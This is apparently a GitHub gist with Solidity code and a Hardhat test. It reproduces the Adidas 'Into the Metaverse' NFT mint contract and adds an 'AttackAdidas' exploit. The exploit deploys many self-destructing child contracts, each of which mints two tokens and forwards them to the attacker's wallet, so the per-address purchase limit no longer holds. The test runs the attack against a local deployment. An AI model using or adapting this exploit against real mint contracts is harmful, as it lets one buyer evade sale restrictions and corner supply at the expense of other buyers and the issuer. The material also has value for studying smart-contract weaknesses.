Skip to content

Instantly share code, notes, and snippets.

@natac13
Created December 27, 2021 21:09
Show Gist options
  • Save natac13/4ae4aec1c982031ab51339ebbc649e27 to your computer and use it in GitHub Desktop.
Save natac13/4ae4aec1c982031ab51339ebbc649e27 to your computer and use it in GitHub Desktop.
Adidas NFT 330 NFT mint contract
// SPDX-License-Identifier: MIT
// Into the Metaverse NFTs are governed by the following terms and conditions: https://a.did.as/into_the_metaverse_tc
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./AbstractERC1155Factory.sol";
/*
* @title ERC1155 token for Adidas cards
* @author Niftydude
*/
contract AdidasOriginals is AbstractERC1155Factory {
uint256 constant MAX_SUPPLY = 30000;
uint256 constant MAX_EARLY_ACCESS = 20380;
uint8 maxPerTx = 2;
uint8 maxTxPublic = 2;
uint8 maxTxEarly = 1;
uint256 public mintPrice = 200000000000000000;
uint256 public cardIdToMint = 1;
mapping(address => uint256) public purchaseTxs;
event Purchased(
uint256 indexed index,
address indexed account,
uint256 amount
);
constructor(string memory _name, string memory _symbol) ERC1155("test") {
name_ = _name;
symbol_ = _symbol;
}
/**
* @notice edit the mint price
*
* @param _mintPrice the new price in wei
*/
function setPrice(uint256 _mintPrice) external onlyOwner {
mintPrice = _mintPrice;
}
/**
* @notice edit sale restrictions
*
* @param _maxPerTx the new max amount of tokens allowed to buy in one tx
* @param _maxTxEarly the max amount of txs allowed during early access
* @param _maxTxPublic the max amount of txs allowed during public sale
*/
function editSaleRestrictions(
uint8 _maxPerTx,
uint8 _maxTxEarly,
uint8 _maxTxPublic
) external onlyOwner {
maxPerTx = _maxPerTx;
maxTxEarly = _maxTxEarly;
maxTxPublic = _maxTxPublic;
}
/**
* @notice purchase cards during public sale
*
* @param amount the amount of tokens to purchase
*/
function purchase(uint256 amount) external payable {
require(
purchaseTxs[msg.sender] < maxTxPublic,
"max tx amount exceeded"
);
// require(
// purchaseTxs[tx.origin] < maxTxPublic,
// "max tx.origin amount exceeded"
// );
_purchase(amount);
}
/**
* @notice global purchase function used in early access and public sale
*
* @param amount the amount of tokens to purchase
*/
function _purchase(uint256 amount) private {
require(
amount > 0 && amount <= maxPerTx,
"Purchase: amount prohibited"
);
require(
totalSupply(0) + amount <= MAX_SUPPLY,
"Purchase: Max supply reached"
);
require(msg.value == amount * mintPrice, "Purchase: Incorrect payment");
purchaseTxs[msg.sender] += 1;
// purchaseTxs[tx.origin] += 1;
_mint(msg.sender, 0, amount, "");
emit Purchased(0, msg.sender, amount);
}
/**
* @notice returns the metadata uri for a given id
*
* @param _id the card id to return metadata for
*/
function uri(uint256 _id) public view override returns (string memory) {
require(exists(_id), "URI: nonexistent token");
return string(abi.encodePacked(super.uri(_id), Strings.toString(_id)));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./AdidasOriginals.sol";
import "hardhat/console.sol";
contract Child {
AdidasOriginals adidas;
address payable private _owner;
constructor(
address payable _parent,
address payable _parentOwner,
address payable _adidasAddress
) payable {
adidas = AdidasOriginals(_adidasAddress);
// // mint 2 NFT
adidas.purchase{value: msg.value}(2);
// // transfer the NFT to _myWallet
adidas.safeTransferFrom(address(this), _parentOwner, 0, 2, "");
// // selfdestruct
remove(_parent);
}
function remove(address payable _parent) internal {
console.log("Removing: ", _parent);
console.log("Balance: ", address(this).balance);
selfdestruct(_parent);
}
}
contract AttackAdidas is Ownable {
// AdidasOriginals adidas;
address payable public adidasAddress;
constructor(address payable _address) {
adidasAddress = _address;
}
function attack(uint256 multiplier) external payable {
uint256 requiredAmount = 0.4 ether * multiplier;
// console.log("Value", msg.value);
require(msg.value == requiredAmount, "Not the right balance");
uint256 amount = msg.value / multiplier;
// console.log("Amount", amount);
for (uint8 x; x < multiplier; x += 1) {
new Child{value: amount}(
payable(this),
payable(owner()),
adidasAddress
);
}
}
function withdraw() public {
console.log(
"Contract has this amount to withdraw",
address(this).balance
);
(bool sent, ) = payable(owner()).call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
receive() external payable {
console.log("receiving", msg.value);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { expect } from "chai";
import { BigNumber } from "ethers";
import { ethers } from "hardhat";
import { AdidasOriginals, AttackAdidas } from "../typechain";
describe("Attacker Contact on Fallback vulnerability", function () {
let victom: AdidasOriginals;
let attacker: AttackAdidas;
let owner: SignerWithAddress;
let addr1: SignerWithAddress;
before(async () => {
[owner, addr1] = await ethers.getSigners();
const Victom = await ethers.getContractFactory("AdidasOriginals", {
signer: owner,
});
victom = await Victom.deploy("AdidasOriginals", "ADIS");
await victom.deployed();
const Attacker = await ethers.getContractFactory("AttackAdidas", {
signer: addr1,
});
attacker = await Attacker.deploy(victom.address);
await attacker.deployed();
});
it("Happy Path", async () => {
expect(await victom.mintPrice()).to.equal(
ethers.utils.parseUnits("0.2", "ether")
);
expect(await attacker.owner()).to.equal(addr1.address);
expect(await victom.balanceOf(addr1.address, 0)).to.equal(0);
await victom
.connect(addr1)
.purchase(2, { value: ethers.utils.parseUnits("0.4", "ether") });
expect(await victom.balanceOf(addr1.address, 0)).to.equal(2);
expect(await victom.purchaseTxs(addr1.address)).to.equal(1);
expect(await victom.totalSupply(0)).to.equal(2);
await victom
.connect(addr1)
.purchase(2, { value: ethers.utils.parseUnits("0.4", "ether") });
expect(await victom.balanceOf(addr1.address, 0)).to.equal(4);
expect(await victom.purchaseTxs(addr1.address)).to.equal(2);
expect(await victom.totalSupply(0)).to.equal(4);
});
it("Attack path", async () => {
const multiplier = 5;
await attacker.attack(multiplier, {
value: ethers.utils.parseUnits(
String((multiplier * 0.4).toFixed(1)),
"ether"
),
// gasPrice: 2_000_000_000_000,
});
expect(await victom.balanceOf(addr1.address, 0)).to.equal(
multiplier * 2 + 4
);
console.log(await ethers.provider.getBalance(attacker.address));
console.log(await ethers.provider.getBalance(victom.address));
console.log(
ethers.utils.formatEther(await ethers.provider.getBalance(addr1.address))
);
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment